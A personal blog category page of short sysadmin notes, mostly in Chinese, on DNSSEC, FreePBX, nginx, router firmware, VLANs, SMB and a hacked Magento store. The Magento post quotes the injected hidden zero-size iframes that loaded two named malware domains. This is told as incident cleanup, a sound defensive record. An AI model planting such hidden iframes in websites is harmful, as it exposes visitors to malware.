Category: 小小草

IT 技术领域学海无涯。其实任何领域都学海无涯,无非 IT 发展太快了,让我有更多嘘唏。希望我掌握的技术有如小小草,虽然渺小,却有旺盛的生命力。

  • DNSSEC 诱出的一些 bugs

    我在 Netcetera 买有几个域名,其中一个出现一个问题:设好 MX 并在邮件服务器上开有邮箱,能收到大部分的邮件,但 hotmail.com 发给它的邮件总是收不到,hotmail 发件人邮箱也收到拒收提示。

    因为找不到原因,我把域名注册商迁移到 Godaddy。之后我没关注 hotmail 能不能往该域名的邮箱投递邮件(因为域名迁移又出了一点小插曲,迁移成功已经是一个多月以后的事,没有继续检测),直到最近邮件服务器试图为该域名的子域名 auto renew Letsencrypt certificate 时,总是失败。

    我花了一点时间看懂了 Letsencrypt 的失败通知邮件,里面提到了 DNSSEC: DNSKEY Missing。

    可我从来不用 DNSSEC,有这种提示就很诡异。我用第三方工具查了一下 DNSSEC 状态,显示 Signed。Godaddy 的 DNSSEC 页里显示该域名没有启用 DNSSEC。

    或许在 Netcetera 时 DNSSEC 就已经不正常了。我回 Netcetera 看了看,人家根本没提供 DNSSEC 管理页面。要是 DNSSEC 在那时就被 Signed,那肯定是 Netcetera 的 bug,但现在无从查证。

    Godaddy 的 bug 在于没有正确提示 DNSSEC 的状态。

    最后,我用 Godaddy 的 DNSSEC 页 enable 一下,再马上 disable,静待一段时间等它生效,终于 auto renew Letsencrypt certificate 成功。顺手再测试用 hotmail 发信,也能收到了。

  • 避开备案租中国大陆的服务器

    首先,如果不想备案,最简单的就是租香港的服务器。我这里特指中国大陆。

    其次,澄清一个概念:租中国大陆的服务器并非要备案。备案特指的是域名备案。

    再次,域名可以指向中国大陆的服务器,只要不建站,也可以不备案。比如,拿它做 SIP server。

    那么,建站想用中国大陆的服务器,不备案可以吗?我只想从技术上挑战一下,还成了。是在一定限定条件下的成功,但已具有极强的实操性,所以我有兴致讲一讲。

    大陆机房会抓数据包来分析 http(s) 流量是否为某个未备案的域名,是,则拦截并提示去备案。依我所见,无法 100% 抓包来分析(机房路由器算力无法 100% 抓包分析?),所以会有个别几次 http://unicped.domain 访问成功。机房的算法也是相当巧妙,所以也只是偶尔能访问成功,绝大部分次数是不成功的。

    有人说,只要改掉 http 默认的 80 端口就可以不备案建站。我已试过,此路不通,不管曾经有没有通过,反正现在不通。未加密的数据包能被分析,https 协议下的数据包是无法被分析的。所以,要避开备案,只能用 https 建站。

    好在如今 https 已是主流,http 建站可以不考虑了。需要注意的是,在 tls 1.3 出来前,https 的握手数据包是不加密的,不加密就能被分析,分析后就能阻断握手。

    好在如今的主流浏览器和主流 web server 都已支持 tls 1.3,这让不备案建站有了实操性。简单点说,就是用最新版的 web server 建个 https://any.domain。

    最后,我想用一点时间讲一讲如何不备案建一个 free SSL certificated https://freepbx.server.domain。

    1,FreePBX 安装完成后,用 http://ip.address 是可以管理的。

    2,在 System Admin > Hostname 输入域名 freepbx.server.domain,在 > Port Management 修改 Admin port 80 至一个未使用的端口,比如 48561,这样 80 端口就可以留给 LetsEncript 做 http-01 challenge。

    3,之后可以用 http://ip.address:48561 来管理。但这样去 Certificate Management 生成 LetsEncript 证书会失败,因为 FreePBX 只会用 http-01 challenge(如果会 dns-01 challenge 就好了)。

    4,我的研究表明,用 http://non-fqdn-domain:48561 来管理,就能让 FreePBX 完成 http-01 challenge。这需要在本地解析 non-fqdn-domain。

    5,在 System Admin > HTTPS Setup 启用这张证书就可以用 https://freepbx.server.domain 来管理了。

    后记:虽然成功了,但我挺纳闷的,用 http://non-fqdn-domain:48561 来管理和用 http://ip.address:48561 来管理,LetsEncript http-01 challenge 所涉及的数据包都是未加密的、无分别的、能被分析的,为什么 http://non-fqdn-domain:48561 一次就挑战成功,而 http://ip.address:48561 屡次失败。

  • Firewall and fail2ban in FreePBX

    之前一直不理解 FreePBX 里 Firewall 和 fail2ban 的关系,只感觉 FreePBX 动辄把我给关门外了,搞得我灰头土脸,为了方便起见,我干脆把 fail2ban 给关了。

    FreePBX 处于裸奔状态很久了,直到最近发生一件事:fail2ban 的日志在一天之内迅速膨胀,把硬盘写满了,于是 FreePBX 崩溃了。其中,我还是没搞懂为什么 fail2ban 禁用状态仍然在写日志?可能这就是 fail2ban 的设定。

    这个事件让我觉得应该启用 fail2ban,但我不熟 fail2ban 的命令行,甚是困惑。也是机缘巧合,这时我发现 FreePBX 激活以后(是的,很长一段时间我都不愿意激活,以为它没什么用,以为它只是为了方便 Sangoma 推销自己的付费产品),在 System Admin 或是在 Firewall 菜单页面里,就能找到 Intrusion Detection 了。Intrusion Detection 就是 fail2ban 的图形版,虽然很简化,但是足够了。

    如果在 Networks 标签页里添了一个 IP 或 Hostname 作为 Trusted Zone,但在 Intrusion Detection 标签页里没有把这个 IP 添入白名单,fail2ban 还是有可能把这个 IP 给 ban。这也是我之前经常被关门外的原因。

    那么,一个 IP 在 Networks 添一遍 Trusted Zone,还要在 Intrusion Detection 添一遍白名单,岂不是重复劳动?

    而且,Networks 可以填 Hostname,Intrusion Detection 只能填 IP,似乎灵活性差点意思?

    非也。Intrusion Detection 里 Import 选中 Trusted Zone,Trusted Zone 里的 IP 和 Hostname 就同步到白名单了。白名单只存 IP,Hostname 被自动解析了。

    自此,我只要维护好 Trusted Zone,就不再会把自己关门外了。

  • No more www

    以前网站域名总是冠以 www,后来谁说 www 是多余了,建议大家不要拖泥带水,域名前裸奔成了时尚。

    但我总是很念旧,如果以前是带 www 访问的,我倾向于保留这个传统,直到我发现——

    有个静态网站托我管,N 多年了也不更新,我自作主张决定送他一张 Let’s Encript 证书。可是 Certbot –nginx 在修改带 www 的 conf 文件后,造成访问来回重定向(无法访问)。我只好放弃 www 传统,Certbot 就能给我生成一个正常的 conf。

    附 Certbot 不能自主修改的带 www 的 conf

    ## Html only

    server {
    listen 80;
    server_name www.example.com;
    root /document_root/public_html;
    index index.html;
    }

    # Redirect undesired domains

    server {
    listen 80;
    server_name example.com *.example.com;
    return 301 $scheme://www.example.com$request_uri;
    }

    附 Certbot 能自主修改的不带 www 的 conf

    ## Html only

    server {
    listen 80;
    server_name example.com;
    root /document_root/public_html;
    index index.html;
    }

    # Redirect undesired domains

    server {
    listen 80;
    server_name *.example.com;
    return 301 $scheme://example.com$request_uri;
    }

    我喜欢捕捉 undesired domains,这也是困扰 Certbot 的一个因素。但为了拥抱 Certbot,还是彻底放弃传统的 www 吧。

  • DD-WRT vs OpenWRT vs FreshTomato

    最近把两个闲置的 Netgear R6300 v2 刷了几次 WRT 和 Tomato firmware,意在用它们代替 Draytek 2860n/2910 组建 site-to-site VPN,同时用上 VLAN。

    题外话:Draytek 2910 只支持百兆网口,Draytek 2860n 虽说都是千兆网口,但 WAN throughput 仅在 300 mbps 左右,归根到底是一款 DSL 年代的产品,已经跟不上时代的。认识 Draytek 十多年,本是 Draytek 忠实的客户,买过它几十个产品,都有不错的表现,除了最后一批 Draytek AP910C 令我失望。最近升级路由器,本也考虑过 Draytek 3910,但最终选了 Mikrotik CCR1036。认识了 Mikrotik 一个多月,有比较就有伤害,突然就觉得 Draytek 格局太小,以后不会再买。Mikrotik 有点贵,暂时不想用第二台 Mikrotik 组建 site-to-site VPN。

    我最先把 Netgear R6300 刷了 DD-WRT,读了几篇 wiki,说 VLAN 不能在 GUI 下完成,需要 GUI+CLI 才行。我倒不是排斥用命令行,事实上我还是挺喜欢敲打命令的(显得专业),但我排斥 DD-WRT 这个设计逻辑,我觉得搞个 VLAN 还得用到命令行,让人不爽。

    于是我立马投入了 OpenWRT 的环抱。OpenWRT 确实在 VLAN 界面上做得比 DD-WRT 好多了,也不需要用到命令行,就该这样。OpenWRT 安装插件也很方便,我就是在 OpenWRT 站点上注意到 Wireguard VPN(但不预装),据称要好过 OpenVPN。但还没来得及研究 VPN,就发现 OpenWRT 不支持 Netgear R6300 v2 的 5Ghz Wi-Fi。我觉得这不能接受,毕竟 Netgear R6300 v2 硬件支持 802.11ac,Draytek 2860n 只支持 802.11n,这也是我把它换掉的一个原因,如果整个 5Ghz Wi-Fi 都没有,那不是退步了?

    于是我又找了 FreshTomato,看 wiki 说它支持 Netgear R6300 v2 的5Ghz Wi-Fi 才刷。FreshTomato 的 GUI 做得没有 OpenWRT 好,但搞个 VLAN 没有问题。FreshTomato 预装 OpenVPN,几乎是一键设置,把复杂的 OpenVPN 简化得倒是很好,我很顺利地在两台 FreshTomato 间建立了 OpenVPN 隧道,可是无法访问对方局域网。我正花时间在研究怎么打通 site-to-site,却发现 FreshTomato Wi-Fi 并不稳定,隔几个小时就无法访问 internet(有线连接的 LAN 口能稳定访问 internet),无法确定是它 Wi-Fi 本身的问题,还是 OpenVPN 带来的问题。不管如何,我再次决定抛弃 FreshTomato。

    好马也吃回头草,我觉得还是投回 DD-WRT 的环抱。走了一圈,觉得就算一定要用命令行实现 VLAN 也可以接受了,usability 的缺陷总比某些功能性的缺陷要好吧。

    然后就又刷了一遍 DD-WRT,没有其他选择了,只好静下心研究我所需要的 VPN 和 VLAN。静下心就有惊喜,我发现 DD-WRT 预装了 Wireguard,自从认识了 Wireguard 后,她就是我的优选方案。至于 VLAN,我觉得或许它并不需要借助命令行去设置,之前看的 wifi 可能过时了,但我还没时间去研究,先搁着吧。

  • Mikrotik hybrid VLAN port

    我就想吐槽一下自己,我整整一个圣诞到新年的假期,都在研究如何在 Mikrotik router 上做一个 hybrid VLAN port。其实我可能第一天就做出来了,但是怎么都不生效,让我觉得可能自己还不会设置,反复调整,直到今天我才发现,原来是忘了 Mikrotik router 和我的目标设备之间还有一个 EdgeSwitch。

    之前我创建了 VLAN trunk,我想在此基础上加一个 untagged VLAN,以便进入一对未设定 management VLAN 设备 Metrolinq 的管理界面。

    我完全忘了这一对 Metrolinq 并有没有直接接入 Mikrotik router,而是接入了 EdgeSwitch,EdgeSwitch 再接入 Mikrotik router。这也是最近网络基础设施大升级的一部分,这么做的好处是用 EdgeSwitch POE 供电给 Metrolinq,抛弃 Metrolinq 原配的 POE adapter,因为我感觉原配的 POE adapter 似乎不太稳定,发生过多次莫名其妙的断网,靠重启 POE adapter 恢复。

    所以,不管我在 Mikrotik router 做什么调整,EdgeSwitch 仍是原来那个 VLAN trunk,新增的 untagged VLAN 根本到不了 Metrolinq。

    我的假期就这么浪费掉了,本来可以干很多其他事情的。也不是完全没有收获,反复研读 Mikrotik Wiki,理解力有点提高。

  • Windows cannot access WD Mybookworld CIFS share problem resolved

    我有一台 Windows 10 家庭版的电脑,无法访问 WD Mybookworld CIFS。具体症状是访问 \\wd_ip_address 就被拒绝,但该 IP 地址可以被 ping,也可以访问 WD Mybookworld 的 web UI。

    为了找出问题所在,我进行了完整的交叉替换测试。我先试着用它借用一个 IP 访问 WD Mybookworld CIFS,被拒绝,该 IP 在其他电脑上使用正常;然后用它来访问同一网络内的另一台 NAS 下的 CIFS,这是一台自建的 NAS,装的系统是 FreeNAS,可以访问;接着用另一台 Windows 10 家庭版的电脑访问了 \\wd_ip_address,也能访问。所以问题仅限于一台特定的电脑访问特定的 NAS,查看了 WD Mybookworld 里的设置,没找到能拒绝特定 IP 访问的设置,即使有,似乎也不太可能做过这样的限制。

    找啊找,最后发现是 Windows 10 “SMB 1.0/CIFS File sharing support” 被关闭了,需要在控制面版 >> 程序和功能 >> 启用或关闭 Windows 功能里重新启用。估计 WD Mybookworld CIFS 用的是 SMB 1.0,而 FreeNAS 用了更高版的 SMB,所以这个 Windows 共享文件夹的问题只影响了特定的机型。

    我还是不懂怎么就把这一台 Windows 10 “SMB 1.0/CIFS File sharing support” 给关闭的,反正感觉 Windows 10 毛病挺多的。

  • Do not run Asterisk as root user

    我用的 FreePBX 带的 Asterisk 是很久以前安装的,也没有关心过它是不是以 root 身份运行,直到最近被攻击。

    攻击的症状是有大量的流量访问,伴随流量不停在 /tmp 目录下生成 1-2 GB 的垃圾文件,产生文件的速度似乎跟流量大小相关。

    我不懂此次攻击的原理,但我发现原来一直以来 Asterisk 都是以 root 身份运行,我也知道这不合适。同时我也发现系统里早已有 asterisk 用户和 asterisk 组,程序、配置文件和文件夹的属主和属组都已是 asterisk 和 asterisk,也许攻击者对 Asterisk 做了提权。

    不管怎样,我得先把 Asterisk 改为非 root 身份运行。因为我的 Asterisk 以 service 方式启动,所以我在 /etc/init.d/asterisk 里增加了两行:

    AST_USER="asterisk"
    AST_GROUP="asterisk"

    重启就 OK 了。流量正常了,/tmp 下也不再生产垃圾文件,但不知道攻击有没有消失,至少漏洞堵上了。

    在堵漏洞的过程中还有个插曲:一开始还不清楚是不是操作系统层面的漏洞,我一上来就来一个

    yum update -y

    结果重启后发现系统瘫痪了,连 ssh 也进不去,只好用 console 登录,发现尝试用 service 启动任何服务时都会出现类似的错误信息。

    Error getting authority: Error initializing authority: Could not connect: Connection refused (g-io-error-quark, 44)

    据说这是 CentOS 在某个阶段升级特有的毛病。执行以下命令就好了:

    mv /var/run/dbus/system_bus_socket

    ln -s /run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

  • Magento site was compromised

    It was my first time to see a hacker is close to me.

    I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

    It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

    Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

    Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

    <iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

    hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

    When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

    At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

  • Why DrayTek SmartVPN does not work in Windows 10?

    Why DrayTek SmartVPN does not work in Windows 10? Well, it will work, but it does not work out of box. 

    After installing SmartVPN in Windows 10, I set SmartVPN client to use remote gateway and DNS, then I can see VPN connection is green (as usual), and I can get public IP of remote gateway. However, the traffic is not fully routed to remote gateway. From the symptom I guess DNS is not routed to remote.

    To fix this problem, I have to disable “Automatic metric” for TCP/IPv4 property of VPN connection, and manually set “Interface metric” to a figure that is smaller than the one of Local connection or Wi-Fi connection, whichever I am using to connect to the Internet.

    The theory behind is simple – the smaller metric is, the higher priority of the route. By default settings Windows 10 cannot work out a suitable metric for VPN connection, but Windows 7 can. This is another proof of Windows is getting more stupid.